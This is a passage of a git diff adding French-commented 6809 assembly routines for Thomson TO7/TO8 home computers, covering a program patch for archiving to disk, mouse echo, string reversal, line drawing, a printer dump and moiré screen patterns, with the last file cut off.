+       ORG    $10
+       FCB    $04
+       LDX    #$0059
+       JMP    >$0023
+
+       ORG    $1A
+       FCB    $1B
+
+       ORG    $1D
+       FCB    $11
+
+       ORG    $65
+       JSR    XINTRO
+       JMP    >$6B
+
+       ORG    $74
+       JSR    XMENU
+
+       ORG    $77
+       JSR    XCHOIX
+       JMP    >$82
+
+       ORG    $1E7
+       JMP    CZIDR
+
+       ORG    $2EF
+       JMP    OUINO1
+
+       ORG    $31D
+       JMP    OUINO2
+
+       ORG    $771
+       JMP    XARCHI
+
+       ORG    $77E
+       JMP    XCHARG
+
+       ORG    $855
+       JMP    OUINO3
+
+       ORG    $D89
+       JMP    OUINO4
+
+       ORG    $13A5
+       FCB    $20
+
+       ORG    $13B3
+       FCC    \HMEL93\
+
+       ORG    $1538
+       FCB    $04
+
+       ORG    $1D56
+       FCB    $1B,$46,$1B,$50,$1B,$4F
+       FCB    $0C,$1F,$43,$47
+       FCC    \*ARCHIVAGE*\
+       FCB    $1B,$4C,$04
+
+       ORG    $1D80
+       FCB    $1B,$46,$1B,$50,$1B,$4F
+       FCB    $0C,$1F,$43,$47
+       FCC    \*CHARGEMENT*\
+       FCB    $1B,$4C,$04
+
+       ORG    $2000
+MCHOIX FCB    $1B,$4C,$1F,$57,$4F
+       FCC    \VOTRECHOIX(ouSTOP)?\
+       FCB    $11,$04
+
+MSTOP  FCB    $1B,$4C,$1F,$57,$4F
+       FCC    \ConfirmerSTOP(O/N)?\
+       FCB    $11,$04
+
+MPSELD FCB    $1F,$46,$4F,$04
+
+MPCZI  FCB    $1F,$4A,$45,$04
+
+MPDIRR FCB    $1F,$47,$45,$04
+
+MFEX1  FCC    \Effacement\
+       FCB    $04
+
+MFEX2  FCC    \(O/N)?\
+       FCB    $04
+
+FILMEM FCC    \\
+
+*=======================================
+
+XINTRO JSR    GETC
+       TSTB
+       BNE    FINTRO  ->
+       JSR    LPIN
+       BCC    XINTRO  ->
+
+*=======================================
+
+FINTRO CLR    $E7E4
+       LDA    $E7E6     autorise écritur
+       ORA    #$40      cartouche
+       STA    $E7E6
+
+       LDX    #FILMEM
+       LDD    #$2020
+       STD    ,X++
+       STD    ,X++
+       STD    ,X++
+       STD    ,X++
+       RTS
+
+*=======================================
+
+XMENU  JSR    MESS
+       LDX    #MCHOIX
+       JMP    MESS    ->>
+
+*=======================================
+
+XCHOIX JSR    GETC
+       CMPB   #2
+       BEQ    XSTOP   ->
+       CMPB   #'1
+       BLO    XCHOIX  ->
+       CMPB   #'9
+       BHI    XCHOIX  ->
+       RTS            ->>
+
+*=======================================
+
+XSTOP  LDX    #MSTOP
+       JSR    MESS
+XSTOPC JSR    GETC
+       CMPB   #'N
+       BEQ    NSTOP   ->
+       CMPB   #'n
+       BEQ    NSTOP   ->
+       CMPB   #'O
+       BEQ    OSTOP   ->
+       CMPB   #'o
+       BEQ    OSTOP   ->
+       BRA    XSTOPC  ->
+NSTOP  LDX    #MCHOIX
+       JSR    MESS
+       BRA    XCHOIX  ->
+OSTOP  JMP    MENU    --->>>>
+
+*=======================================
+
+OUINO1 ANDB   #$DF
+       CMPB   #'N
+       LBEQ   $2F7    ->
+       CMPB   #'O
+       LBEQ   $2FC    ->
+       LBRA   $2EC    ->
+
+*=======================================
+
+OUINO2 ANDB   #$DF
+       CMPB   #'N
+       LBEQ   $325    ->
+       CMPB   #'O
+       LBEQ   $325    ->
+       LBRA   $315    ->
+
+*=======================================
+
+OUINO3 ANDB   #$DF
+       CMPB   #'N
+       LBEQ   $7FD    ->
+       CMPB   #'O
+       LBEQ   $85D    ->
+       LBRA   $850    ->
+
+*=======================================
+
+OUINO4 ANDB   #$DF
+       CMPB   #'N
+       LBEQ   $D94    ->
+       CMPB   #'O
+       LBEQ   $D91    ->
+       LBRA   $D86    ->
+
+*=======================================
+
+CZIDR  ANDB   #$DF
+       CMPB   #'D
+       LBEQ   $1FD    ->
+       CMPB   #'R
+       LBEQ   $1FD    ->
+       LBRA   $209    ->
+
+*=======================================
+
+XARCHI EQU    *
+       LDX    <$02
+       LDY    #$A000
+COPZO1 LDA    ,X+
+       STA    ,Y+
+       CMPX   #$6C35
+       BNE    COPZO1  ->
+
+       JSR    XEXTRA
+
+       LDX    #$1D56
+       JSR    MESS
+
+       LDX    #MPSELD
+       JSR    MESS
+
+XARCHB LDX    #ZONE
+       LDY    #100
+       LDA    #3
+       LDU    #$3FC7
+       JSR    COMSLO
+
+       LDX    #MPCZI
+       JSR    MESS
+
+       LDX    #FILMEM
+       LDY    #FILNAM
+       LDB    #8
+BCPN1  LDA    ,X+
+       STA    ,Y+
+       DECB
+       BNE    BCPN1     ->
+
+       LDX    #FILNAM+8
+       LDA    #'B
+       STA    ,X+
+       LDA    #'U
+       STA    ,X+
+       LDA    #'D
+       STA    ,X+
+       CLR    ,X
+
+       LDX    #ZONE
+       LDY    #100
+       LDA    #3
+       LDU    #$3FC4
+       JSR    COMSLO
+       TSTB
+       BNE    ARCHF   abandon ->
+
+       JSR    CNFNEX
+       CMPB   #'N
+       BEQ    XARCHB  fichier existe ->
+
+       LDA    #$20    open output
+       STA    $624B
+       LDA    #3
+       STA    $624C
+       CLR    $624D
+       LDB    #3
+       JSR    EXTRA
+       TSTB
+       LBNE   ERRF0   ->
+
+       LDX    #$A000  put
+BARCHI LDA    ,X
+       LDB    #4
+       JSR    EXTRA
+       TSTB
+       LBNE   ERRF00  ->
+
+       LEAX   1,X
+       CMPX   #$A835
+       BNE    BARCHI  ->
+
+       LDB    #6      close
+       JSR    EXTRA
+
+ARCHF  JSR    FEXTRA
+       JMP    >MENUB
+
+*=======================================
+
+XCHARG JSR    XEXTRA
+
+       LDX    #$1D80
+       JSR    MESS
+
+       LDX    #MPSELD
+       JSR    MESS
+
+       LDX    #ZONE
+       LDY    #100
+       LDA    #3
+       LDU    #$3FC7
+       JSR    COMSLO
+
+       LDX    #MPDIRR
+       JSR    MESS
+
+       LDX    #FILNAM
+       LDD    #$0000
+       STD    ,X++
+       STD    ,X++
+       STD    ,X++
+       STD    ,X++
+       LDA    #'B
+       STA    ,X+
+       LDA    #'U
+       STA    ,X+
+       LDA    #'D
+       STA    ,X+
+
+       LDX    #ZONE
+       LDY    #1700
+       LDA    #3
+       LDU    #$3FC1
+       JSR    COMSLO    DIRR
+       CMPB   #62
+       LBEQ   FCHARG    ->
+       TSTB
+       BNE    ERRF0     ->
+
+       LDX    #FILNAM
+       LDY    #FILMEM
+       LDB    #8
+BCPN2  LDA    ,X+
+       STA    ,Y+
+       DECB
+       BNE    BCPN2     ->
+
+       LDA    #$10    open input
+       STA    $624B
+       LDB    #3
+       JSR    EXTRA
+       TSTB
+       BNE    ERRF0   ->
+
+       LDX    #$A000
+BCHARG LDB    #5      input
+       JSR    EXTRA
+       TSTB
+       BNE    ERRF00  ->
+       TST    $6178
+       BNE    FCHAR0  ->
+       LDA    $6196
+       STA    ,X+
+       CMPX   #$A835
+       BNE    BCHARG  ->
+
+FCHAR0 LDB    #6      close
+       JSR    EXTRA
+
+       JSR    FEXTRA
+
+       LDX    <$02
+       LDY    #$A000
+COPZO2 LDA    ,Y+
+       STA    ,X+
+       CMPX   #$6C35
+       BNE    COPZO2  ->
+
+       JMP    >MENUB    ->
+
+ERRF00 PSHS   B
+       LDB    #6      close
+       JSR    EXTRA
+       PULS   B
+ERRF0  EQU    *
+       JSR    DOSERR
+FCHARG JSR    FEXTRA
+       JMP    >MENUB
+
+*=======================================
+
+CNFNEX EQU    *
+       LDA    #$10    essai open input
+       STA    $624B
+       LDB    #3
+       JSR    EXTRA
+       TSTB
+       BEQ    CNFSUP  ->
+       LDB    #'O     non existe
+       BRA    OCNFSU  ->
+
+CNFSUP LDB    #6      close
+       JSR    EXTRA
+
+       JSR    BOITE
+
+       LDX    #MFEX1
+       JSR    MESS
+
+       LDX    #FILNAM
+       LDA    FILNAM+8
+       PSHS   A
+       LDA    #4
+       STA    FILNAM+8
+       JSR    MESS
+       PULS   A
+       STA    FILNAM+8
+
+       LDB    #'.
+       JSR    PUTC
+
+       LDX    #FILNAM+8
+       LDA    FILNAM+11
+       PSHS   A
+       LDA    #4
+       STA    FILNAM+11
+       JSR    MESS
+       PULS   A
+       STA    FILNAM+11
+
+       LDX    #MFEX2
+       JSR    MESS
+
+XCNFSU JSR    GETC
+       ANDB   #$DF
+       CMPB   #'N
+       BEQ    OCNFSU  ->
+       CMPB   #'O
+       BNE    XCNFSU  ->
+       JSR    PUTC
+
+       LDB    #14     kill
+       JSR    EXTRA
+OCNFSU RTS
+
+*=======================================
+
+DOSERR EQU    *
+       JSR    BOITE
+
+       TFR    B,A
+       LDX    #ZONE
+       LDB    #20
+       JSR    EXTRA   ERRMSG
+
+DOER0  LDB    ,X+
+       BEQ    DOER1   ->
+       JSR    PUTC
+       BRA    DOER0   ->
+
+DOER1  JSR    GETC
+       TSTB
+       BNE    DOER2   ->
+       JSR    LPIN
+       BCC    DOER1   ->
+DOER2  RTS
+
+*=======================================
+
+BOITE  EQU    *
+       PSHS   D,X,Y,U
+       LDX    #0
+       STX    $61A1
+       LDX    #319
+       LDY    #8*11
+       STY    $61A3
+       LDY    #8*14
+       LDA    #$FF
+       STA    $61EF
+       LDU    #ZONE
+       LDD    #0
+       STD    ,U++
+       STD    ,U++
+       STD    ,U++
+       STD    ,U++
+       STU    $627D
+       LDB    #27
+       JSR    EXTRA   BOX
+
+       LDB    #$1F
+       JSR    PUTC
+       LDB    #$40+12
+       JSR    PUTC
+       LDB    #$41+1
+       JSR    PUTC
+       PULS   D,X,Y,U,PC
+
+*=======================================
+
+XEXTRA LDX    #$6100
+       LDY    #SAUVP0
+BSAUV  LDD    ,X++
+       STD    ,Y++
+       CMPX   #$7000
+       BNE    BSAUV   ->
+
+       CLRB             reset extra
+       JSR    EXTRA
+
+       LDD    #0
+       STD    $61A5
+       STD    $61A7
+       LDD    #319
+       STD    $61A9
+       LDD    #199
+       STD    $61AB
+
+       CLR    $61A0
+       CLR    $6041
+       LDA    #7
+       STA    $619F
+       CLR    $6288
+       LDB    #28
+       JSR    EXTRA     CHOIX
+
+       LDD    #DOSBUF
+       STD    $6197
+       LDD    #DOSFAT
+       STD    $6199
+       LDX    #DOSFCB
+       LDA    #1
+       LDY    #5
+       LDB    #2
+       JSR    EXTRA     FCBINI
+       RTS
+
+*=======================================
+
+FEXTRA LDX    #$6100
+       LDY    #SAUVP0
+BREST  LDD    ,Y++
+       STD    ,X++
+       CMPX   #$7000
+       BNE    BREST   ->
+       RTS
+
+SAUVP0 EQU    *
+       END
diff --git a/code/3rdparty/sources4-divers/Contacthoms/ECHOCAR.ASM b/code/3rdparty/sources4-divers/Contacthoms/ECHOCAR.ASM
new file mode 100644
index 0000000..9d007fb
--- /dev/null
+++ b/code/3rdparty/sources4-divers/Contacthoms/ECHOCAR.ASM
@@ -0,0 +1,147 @@
+****************************************
+*                                      *
+*            ECHOCAR.ASM               *
+*                                      *
+*      Contacthoms No 13 page 10       *
+*                                      *
+*--------------------------------------*
+*                                      *
+*  Programme en assembleur pour avoir  *
+*  l'écho de la souris à l'écran.      *
+*                                      *
+****************************************
+
+       TITLE  ECHO    DU CARACTERE
+
+GETL   EQU    $E818   Acq. coor. X,Y
+SELMEM EQU    $E7C3   Select. for/color
+NBCOL  EQU    $605F   40 ou 80 colonnes
+MEMECR EQU    $4000   Adr deb mem écran
+*
+*
+*
+       ORG    $DF00
+ECHO00 EQU    *
+       PSHS   X,Y,U,D
+*
+* Acquisition coordonnées point visé
+*
+ECHO10 EQU    *
+       JSR    GETL
+       BCS    ECHO99
+*
+* Le point visé est-il le même ?
+*
+       TFR    Y,D
+       ANDB   #$F8
+       PSHS   D
+       TFR    X,D
+       ANDB   #$F8
+       PSHS   D
+       CMPD   XPREC,PCR
+       BNE    ECHO20  NON: inverse
+       LDD    2,S
+       CMPD   YPREC,PCR
+       BNE    ECHO20  NON: inv mm point
+       LEAS   4,S
+       BRA    ECHO10  Attend changement
+*
+* Remise point prec en vidéo normal
+*
+ECHO20 EQU    *
+       LDX    XPREC,PCR
+       BMI    ECHO30  Première fois
+       LDY    YPREC,PCR
+       BSR    INVERS
+*
+* Met le point en vidéo inverse
+*
+ECHO30 EQU    *
+       LDX    0,S
+       STX    XPREC,PCR
+       LDY    2,S
+       STY    YPREC,PCR
+       BSR    INVERS
+       LEAS   4,S
+ECHO99 EQU    *
+       PULS   X,Y,U,D,PC
+*
+* Met un caractère en vidéo inverse
+*
+* Entrée x,y coordonnées point
+* du début du caractère.
+*
+INVERS EQU    *
+       PSHS   X,Y,U,D
+*
+* Calcul adresse début du caractère
+* dans écran.
+*
+       LDU    #MEMECR
+       TFR    Y,D
+       LDA    #40
+       MUL
+       LEAU   D,U
+       TFR    X,D
+       LSRA
+       RORB
+       LSRA
+       RORB
+       LSRB
+       LDA    #01
+       ORA    >SELMEM Force plan forme
+       TST    NBCOL   40 ou 80 colonnes
+       BPL    INVE20
+       LSRB
+       BCC    INVE20  Pair-->forme
+       LDA    #$FE    80 col mais col
+       ANDA   >SELMEM Impair-->couleur
+INVE20 EQU    *
+       LEAU   B,U     U=adr deb caract
+       STA    >SELMEM
+*
+* Met le caractère en vidéo inverse
+*
+       LDA    #8
+INVE70 EQU    *
+       COM    ,U
+       LEAU   40,U
+       DECA
+       BNE    INVE70
+*
+* Fin
+*
+INVE99 EQU    *
+       PULS   X,Y,U,D,PC
+*
+*
+XPREC  FDB    -1
+YPREC  FDB    -1
+       END
+
+****************************************
+*                                      *
+* PROGRAMME BASIC D'ACCOMPAGNEMENT:    *
+*                                      *
+* 10 BANK0:CLEAR,&HDFEF                *
+* 20 LOADM"ECHOCAR.BIN"                *
+* 30 CLS:LOCATE0,0,0                   *
+* 40 ATTRB1:PRINT"EN 40 COLONNES"      *
+* 50 GOSUB 100                         *
+* 60 CONSOLE,,,,1                      *
+* 70 ATTRB1:PRINT"EN 80 COLONNES"      *
+* 80 GOSUB 100                         *
+* 90 CONSOLE,,,,0:SCREEN4,6,6:END      *
+* 100 BANK0                            *
+* 110 DO                               *
+* 120 EXEC &HDF00                      *
+* 130 IF MTRIG(0) THEN EXIT            *
+* 140 LOOP                             *
+* 150 IF MTRIG(0) THEN 150             *
+* 160 RETURN                           *
+*                                      *
+****************************************
+
+* Un appui (prolongé !) sur le bouton
+* gauche de la souris vous fait passer
+* en 80 colonnes.
diff --git a/code/3rdparty/sources4-divers/Contacthoms/INVERSE.ASM b/code/3rdparty/sources4-divers/Contacthoms/INVERSE.ASM
new file mode 100644
index 0000000..0f5603a
--- /dev/null
+++ b/code/3rdparty/sources4-divers/Contacthoms/INVERSE.ASM
@@ -0,0 +1,38 @@
+*
+* SOUS-PROGRAMME ASSEMBLEUR
+* POUR INVERSION D'UNE CHAINE DE
+* DE CARACTERES
+*
+* CLUB CONTACTHOMS No 15 page 14
+*     Jérome THOEN (c) 1993
+*
+
+       ORG    $9000
+MAXCAR EQU    255     long maxi chaîne
+
+ENTREE PSHS   A,B,Y,U,CC
+       CMPA   #3
+       BNE    SORTIE  sortie si
+       LDU    1,X     pas chaîne
+       TSTB           sortie si
+       BEQ    SORTIE  longueur nulle
+       LDU    1,X     adr chaîne A
+*                     inverser -> U
+       TFR    B,A     longueur -> A
+       PSHS   X       sauvegarde X
+       LDX    #CHAINE adr fin chaîne
+       ABX            inversée -> X
+*                     inversée et copie
+CSUIV  LDB    ,U+     chaîne dans
+       STB    ,-X     buffer 'CHAINE'
+       DECA           teste fin
+       BNE    CSUIV   de chaîne
+       PULS   X       recharge X
+       LDD    #CHAINE nouvelle adr
+       STD    1,X     -> descripteur
+SORTIE PULS   A,B,Y,U,CC,PC
+
+CHAINE RMB    MAXCAR  reserve place
+*                     pour chaîne
+*                     inversée
+       END
diff --git a/code/3rdparty/sources4-divers/ETOILE.ASM b/code/3rdparty/sources4-divers/ETOILE.ASM
new file mode 100644
index 0000000..cf16057
--- /dev/null
+++ b/code/3rdparty/sources4-divers/ETOILE.ASM
@@ -0,0 +1,94 @@
+*
+*     ETOILE.ASM  routine DRAWH
+*
+*   Passez facilement du BASIC au
+*   langage machine des TO7(70),TO9
+*   Programme No XVIII pages 123-129
+*
+* =====================================
+*
+* Dessin de deux triangles inversés qui
+* se croisent.
+*
+* -------------------------------------
+*
+* ATTENTION SUR TO7, FAIRE PRECEDER
+* L'APPEL A DRAWH DE PDHS U, ET LE
+* FAIRE SUIVRE DE PULS U.
+*
+
+PUTCH  EQU    $E803   Affiche caractère
+CHDRAW EQU    $6041   Cod ASCI car. des.
+FORME  EQU    $6038   Code de la couleur
+PLOTX  EQU    $603D   Abscis. der. point
+PLOTY  EQU    $603F   Ordonné der. point
+DRAWH  EQU    $E80C   Tracé de segment
+
+
+       ORG    $7D00   Soit 32000
+
+       PSHS   U,Y,X,DP,D,CC
+       LDU    #TABLE  Ecran
+D0     LDB    ,U+
+       CMPB   #4
+       BEQ    SUITE
+       JSR    PUTCH
+       BRA    D0
+SUITE  CLRA
+       STA    CHDRAW
+       LDA    #4      Bleu
+       STA    FORME
+       JSR    A1      1er triangle
+       LDA    #1      Rouge
+       STA    FORME
+       JSR    A2      2nd triangle
+       JSR    COMPT   Temporisation
+       LDA    #$FC    Fond jaune
+       STA    FORME
+       JSR    A1      Eff. 1er triangle
+       JSR    A2      Eff. 2nd triangle
+       BRA    FIN
+A1     LDX    #&160
+       STX    PLOTX
+       LDY    #&96
+       STY    PLOTY
+       LDU    #TABLE1 .Coordonnées
+D1     LDX    ,U++    .du 1er
+       LDY    ,U++    .triangle
+       JSR    DRAWH   .le dessiner
+       CMPX   #&160   Fin table 1
+       BEQ    RET
+       BRA    D1
+A2     LDX    #&160
+       STX    PLOTX
+       LDY    #&136
+       STY    PLOTY
+       LDU    #TABLE2 .Coordonnées
+D2     LDX    ,U++    .du 2nd
+       LDY    ,U++    .triangle
+       JSR    DRAWH   .le dessiner
+       CMPX   #&160   Fin table 2
+       BEQ    RET
+       BRA    D2
+COMPT  CLRB           B=0
+       LEAU   1,U     Plac.pile U
+D3     PSHU   B       Sauv. B
+       CLRA           A=0
+       CLRB           B=0
+D4     ADDD   #1      D=D+1
+       CMPD   #$FFFF  .D=$FFFF?
+       BNE    D4      .Non->D4
+       PULU   B       .Oui, sortir B
+       INCB           B=B+1
+       CMPB   #10     .B=10?
+       BEQ    RET     .Oui=retour
+       BRA    D3      .Sinon D3
+RET    RTS            Fin s/s prog.
+FIN    PULS   CC,D,DP,X,Y,U
+       SWI
+TABLE  FCB    $1B,$23,$20,$53,$4
+TABLE1 FDB    208,96,184
+       FDB    144,160,96
+TABLE2 FDB    184,88,208
+       FDB    136,160,136
+       END
diff --git a/code/3rdparty/sources4-divers/MIMP.ASM b/code/3rdparty/sources4-divers/MIMP.ASM
new file mode 100644
index 0000000..fba5d45
--- /dev/null
+++ b/code/3rdparty/sources4-divers/MIMP.ASM
@@ -0,0 +1,69 @@
+       ORG    $A000
+
+       LDA    #&64
+       STA    $602B
+       JSR    $E812
+       LDX    #$A000
+       STX    $9033
+BCL4   LDA    #&08
+       STA    $602B
+       LDB    #&27
+       JSR    $E812
+       LDB    #&71
+       JSR    $E812
+       LDB    #&57
+       JSR    $E812
+       LDB    #&54
+       JSR    $E812
+       LDB    #&48
+       JSR    $E812
+       LDX    $9033
+       LEAX   $78,X
+       STX    $9037
+BCL3   LDX    $9033
+       LEAX   $3C0,X
+       STX    $9035
+       LDA    #$80
+       STA    $9032
+BCL2   LDX    $9033
+       LDA    #$01
+       STA    $9031
+       CLR    $9030
+BCL1   LDA    ,X
+       ANDA   $9032
+       CMPA   $9032
+       BNE    J1
+       LDB    $9031
+       ADDB   $9030
+       STB    $9030
+J1     LEAX   $78,X
+       LDB    $9031
+       LDA    #$02
+       MUL
+       STB    $9031
+       CMPX   $9035
+       BNE    BCL1
+       LDB    $9030
+       JSR    $E812
+       LDA    $9032
+       LSRA
+       STA    $9032
+       CMPA   #$00
+       BNE    BCL2
+       LDX    $9033
+       LEAX   $01,X
+       STX    $9033
+       CMPX   $9037
+       BNE    BCL3
+       LDB    #&10
+       JSR    $E812
+       LDX    $9033
+       LEAX   $348,X
+       STX    $9033
+       CMPX   #$DC00
+       LBNE   BCL4
+       LDA    #&16
+       STA    $602B
+       JSR    $E812
+       RTS
+       END
diff --git a/code/3rdparty/sources4-divers/MOIRAGE.ASM b/code/3rdparty/sources4-divers/MOIRAGE.ASM
new file mode 100644
index 0000000..f030d6d
--- /dev/null
+++ b/code/3rdparty/sources4-divers/MOIRAGE.ASM
@@ -0,0 +1,65 @@
+
+
+
+****************************************
+*                                      *
+*            M O I R A G E             *
+*                                      *
+****************************************
+*                                      *
+* Programme de moirage de la mémoire   *
+* point.                               *
+*--------------------------------------*
+*                                      *
+*     Manuel de l'assembleur 6809      *
+*        du TO7/TO7-70 page 24         *
+*                                      *
+****************************************
+
+INIT   EQU    $E800   Initialisation
+PORTC  EQU    $E7C3
+STADR  EQU    $4000   Début de l'écran
+ENDADR EQU    $5F40   Fin de l'écran + 1
+
+*--------------------------------------*
+
+
+       ORG    ENDMEM-$400 1K Réserve
+
+DIRECT EQU    *<-8    Page 0
+       SETDP  DIRECT
+*      TITLE  Balayage Ecran
+*      INCLUD EQUATES Fichier contenant
+* les principales adresses d'entrée du
+* Moniteur TO7
+       PAGE
+START  PSHS   A,B,X,Y,U,DP Sauvegarde
+       JSR    INIT    Initialisation
+       LDA    #DIRECT Page 0
+       TFR    A,DP
+       LDA    PORTC   Mise en mémoire
+* points:Par mise à 1 du bit 0 du port C
+       ORA    #1
+       STA    PORTC
+       LDX    #STADR  Adresse de début
+* de l'écran
+M2     LDY    #20     Compteur colonne:
+* On affiche 20 fois 2 octets, soit
+* 40 octets par ligne
+       LDD    #$5555  Moirage
+* Alternance de 1 et de 0 sur la ligne
+M0     STD    ,X++    Charger l'écran
+       LEAY   -1,Y
+       BNE    M0      Répète 20 fois
+       LDY    #20     Ligne suivante
+       LDD    #$AAAA  Le motif est inver
+* se pour décaler les 1 et les 0 d'une
+* ligne à l'autre et obtenir un moirage
+M1     STD    ,X++
+       LEAY   -1,Y
+       BNE    M1      Toujours 20 fois
+       CMPX   #ENDADR Fin d'écran
+       BLS    M2      Sinon on recom
+* mence 2 lignes à motifs alternés
+       SWI            Retour au moniteur
+       END    START
diff --git a/code/3rdparty/sources4-divers/MOIRAGE2.ASM b/code/3rdparty/sources4-divers/MOIRAGE2.ASM
new file mode 100644
index 0000000..422cc65
--- /dev/null
+++ b/code/3rdparty/sources4-divers/MOIRAGE2.ASM
@@ -0,0 +1,65 @@
+
+
+
+****************************************
+*                                      *
+*            M O I R A G E             *
+*                                      *
+****************************************
+*                                      *
+* Programme de moirage de la mémoire   *
+* point.                               *
+*--------------------------------------*
+*                                      *
+*     Manuel de l'assembleur 6809      *
+*        du TO7/TO7-70 page 24         *
+*                                      *
+****************************************
+
+INIT   EQU    $E800   Initialisation
+PORTC  EQU    $E7C3
+STADR  EQU    $4000   Début de l'écran
+ENDADR EQU    $5F40   Fin de l'écran + 1
+
+*--------------------------------------*
+
+
+       ORG    ENDMEM-$400 1K Réserve
+
+DIRECT EQU    *<-8    Page 0
+       SETDP  DIRECT
+*      TITLE  Balayage Ecran
+*      INCLUD EQUATES Fichier contenant
+* les principales adresses d'entrée du
+* Moniteur TO7
+       PAGE
+START  PSHS   A,B,X,Y,U,DP Sauvegarde
+       JSR    INIT    Initialisation
+       LDA    #DIRECT Page 0
+       TFR    A,DP
+       LDA    PORTC   Mise en mémoire
+* points:Par mise à 1 du bit 0 du port C
+       ORA    #1
+       STA    PORTC
+       LDX    #STADR  Adresse de début
+* de l'écran
+M2     LDY    #20     Compteur colonne:
+* On affiche 20 fois 2 octets, soit
+* 40 octets par ligne
+       LDD    #$FFFF  Moirage
+* Alternance de 1 et de 0 sur la ligne
+M0     STD    ,X++    Charger l'écran
+       LEAY   -1,Y
+       BNE    M0      Répète 20 fois
+       LDY    #20     Ligne suivante
+       LDD    #$0000  Le motif est inver
+* se pour décaler les 1 et les 0 d'une
+* ligne à l'autre et obtenir un moirage
+M1     STD    ,X++
+       LEAY   -1,Y
+       BNE    M1      Toujours 20 fois
+       CMPX   #ENDADR Fin d'écran
+       BLS    M2      Sinon on recom
+* mence 2 lignes à motifs alternés
+       SWI            Retour au moniteur
+       END    START
diff --git a/code/3rdparty/sources4-divers/MOIRAGE3.ASM b/code/3rdparty/sources4-divers/MOIRAGE3.ASM
new file mode 100644
index 0000000..b22d88e
--- /dev/null
+++ b/code/3rdparty/sources4-divers/MOIRAGE3.ASM
@@ -0,0 +1,65 @@
+
+
+
+****************************************
+*                                      *
+*            M O I R A G E             *
+*                                      *
+****************************************
+*                                      *
+* Programme de moirage de la mémoire   *
+* point.                               *
+*--------------------------------------*
+*                                      *
+*     Manuel de l'assembleur 6809      *
+*        du TO7/TO7-70 page 24         *
+*                                      *
+****************************************
+
+INIT   EQU    $E800   Initialisation
+PORTC  EQU    $E7C3
+STADR  EQU    $4000   Début de l'écran
+ENDADR EQU    $5F40   Fin de l'écran + 1
+
+*--------------------------------------*
+
+
+       ORG    ENDMEM-$400 1K Réserve
+
+DIRECT EQU    *<-8    Page 0
+       SETDP  DIRECT
+*      TITLE  Balayage Ecran
+*      INCLUD EQUATES Fichier contenant
+* les principales adresses d'entrée du
+* Moniteur TO7
+       PAGE
+START  PSHS   A,B,X,Y,U,DP Sauvegarde
+       JSR    INIT    Initialisation
+       LDA    #DIRECT Page 0
+       TFR    A,DP
+       LDA    PORTC   Mise en mémoire
+* points:Par mise à 1 du bit 0 du port C
+       ORA    #1
+       STA    PORTC
+       LDX    #STADR  Adresse de début
+* de l'écran
+M2     LDY    #20     Compteur colonne:
+* On affiche 20 fois 2 octets, soit
+* 40 octets par ligne
+       LDD    #$00FF  Moirage
+* Alternance de 1 et de 0 sur la ligne
+M0     STD    ,X++    Charger l'écran
+       LEAY   -1,Y
+       BNE    M0      Répète 20 fois
+       LDY    #20     Ligne suivante
+       LDD    #$FF00  Le motif est inver
+* se pour décaler les 1 et les 0 d'une
+* ligne à l'autre et obtenir un moirage
+M1     STD    ,X++
+       LEAY   -1,Y
+       BNE    M1      Toujours 20 fois
+       CMPX   #ENDADR Fin d'écran
+       BLS    M2      Sinon on recom
+* mence 2 lignes à motifs alternés
+       SWI            Retour au moniteur
+       END    START
diff --git a/code/3rdparty/sources4-divers/MOIRAGE4.ASM b/code/3rdparty/sources4-divers/MOIRAGE4.ASM
new file mode 100755
index 0000000..14a5969
--- /dev/null
+++ b/code/3rdparty/sources4-divers/MOIRAGE4.ASM
@@ -0,0 +1,65 @@
+
+
+
+****************************************
+*                                      *
+*            M O I R A G E             *
+*                                      *
+****************************************
+*                                      *
+* Programme de moirage de la mémoire   *
+* point.                               *
+*--------------------------------------*
+*                                      *
+*     Manuel de l'assembleur 6809      *
+*        du TO7/TO7-70 page 24         *
+*                                      *
+****************************************
+
+INIT   EQU    $E800   Initialisation
+PORTC  EQU    $E7C3
+STADR  EQU    $4000   Début de l'écran
+ENDADR EQU    $5F40   Fin de l'écran + 1
+
+*--------------------------------------*
+
+
+       ORG    ENDMEM-$400 1K Réserve
+
+DIRECT EQU    *<-8    Page 0
+       SETDP  DIRECT
+*      TITLE  Balayage Ecran
+*      INCLUD EQUATES Fichier contenant
+* les principales adresses d'entrée du
+* Moniteur TO7
+       PAGE
+START  PSHS   A,B,X,Y,U,DP Sauvegarde
+       JSR    INIT    Initialisation
+       LDA    #DIRECT Page 0
+       TFR    A,DP
+       LDA    PORTC   Mise en mémoire
+* points:Par mise à 1 du bit 0 du port C
+       ORA    #1
+       STA    PORTC
+       LDX    #STADR  Adresse de début
+* de l'écran
+M2     LDY    #20     Compteur colonne:
+* On affiche 20 fois 2 octets, soit
+* 40 octets par ligne
+       LDD    #$3333  Moirage
+* Alternance de 1 et de 0 sur la ligne
+M0     STD    ,X++    Charger l'écran
+       LEAY   -1,Y
+       BNE    M0      Répète 20 fois
+       LDY    #20     Ligne suivante
+       LDD    #$CCCC  Le motif est inver
+* se pour décaler les 1 et les 0 d'une
+* ligne à l'autre et obtenir un moirage
+M1     STD    ,X++
+       LEAY   -1,Y
+       BNE    M1      Toujours 20 fois
+       CMPX   #ENDADR Fin d'écran
+       BLS    M2      Sinon on recom
+* mence 2 lignes à motifs alternés
+       SWI            Retour au moniteur
+       END    START
diff --git a/code/3rdparty/sources4-divers/MR3.ASM b/code/3rdparty/sources4-divers/MR3.ASM
new file mode 100644
index 0000000..861cf41
--- /dev/null
+++ b/code/3rdparty/sources4-divers/MR3.ASM
@@ -0,0 +1,30 @@
+       ORG    $A000
+
+       LDY    $9003
+       STY    $9007
+       LDX    #$4640
+       LDD    $9009
+       LEAX   D,X
+       STX    $9005
+       LDD    #$28
+       LEAX   D,X
+       STX    $900B
+       LDX    $9005
+BCL    CLRA
+AFF    LDB    ,Y
+       STB    ,X
+       LEAY   $78,Y
+       LEAX   $28,X
+       INCA
+       CMPA   #$40
+       BNE    AFF
+       LDX    $9005
+       LEAX   1,X
+       STX    $9005
+       LDY    $9007
+       LEAY   1,Y
+       STY    $9007
+       CMPX   $900B
+       BNE    BCL
+       RTS
+       END
diff --git a/code/3rdparty/sources4-divers/MR4.ASM b/code/3rdparty/sources4-divers/MR4.ASM
new file mode 100644
index 0000000..5bb166a
--- /dev/null
+++ b/code/3rdparty/sources4-divers/MR4.ASM
@@ -0,0 +1,31 @@
+       ORG    $A000
+
+       LDY    $9003
+       LEAY   $27,Y
+       STY    $9007
+       LDX    #$4667
+       LDD    $9009
+       LEAX   D,X
+       STX    $9005
+       LDD    #-$28
+       LEAX   D,X
+       STX    $900B
+       LDX    $9005
+BCL    CLRA
